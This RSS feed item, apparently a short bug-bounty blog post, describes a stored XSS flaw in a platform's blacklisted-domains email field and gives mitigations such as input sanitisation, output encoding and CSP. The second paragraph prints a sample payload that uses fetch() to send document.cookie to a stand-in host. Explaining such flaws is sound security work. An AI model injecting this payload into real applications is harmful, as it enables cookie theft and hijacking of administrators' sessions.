            <content:encoded><![CDATA[<h3>Stored Cross-Site Scripting (XSS) — A Hidden Threat in Blacklisted Domains</h3><p><strong>Author:</strong> Ganesh Avhad<br> <strong>Date:</strong> April 18, 2025<br> <strong>Tags:</strong> #XSS #AppSec #CyberSecurity #BugBounty #OWASP</p><p>Stored Cross-Site Scripting (XSS) continues to be one of the most dangerous vulnerabilities in web applications, and it remains prevalent despite being well-known. One such vulnerability, rated with a CVSS score of 7.6, lurks within the platform’s blacklisted domains feature. This issue arises when a low-privileged user is able to inject malicious JavaScript into an unsanitized email input field. The platform’s backend fails to sanitize this input correctly, allowing HTML and JavaScript to be directly rendered into the DOM. The result? As soon as an admin accesses the page, the malicious payload is silently executed in their browser without any interaction from them</p><p>The impact of this vulnerability is potentially catastrophic. By injecting a simple payload like &lt;script&gt;fetch(&#39;//yourhost.com?c=&#39;+document.cookie)&lt;/script&gt;, an attacker can steal session cookies, hijack the admin’s session, perform phishing attacks, or even access sensitive data. Since the payload remains stored in the system, it survives even application restarts. As soon as the admin revisits the blacklisted domains list, the malicious script executes automatically, compromising the security of the application with every view.</p><p>To mitigate the risks posed by this vulnerability, developers must prioritize sanitizing all user inputs, especially those in admin-accessible sections. Implementing strict output encoding when rendering user-provided content can prevent scripts from being executed. Additionally, applying a robust Content Security Policy (CSP) and conducting regular security audits of legacy interfaces will help secure the application. This stored XSS also provides a perfect attack surface for chaining with other vulnerabilities like CSRF or IDOR, making ongoing vigilance and comprehensive security testing essential for safeguarding the platform.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff036484b5f4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>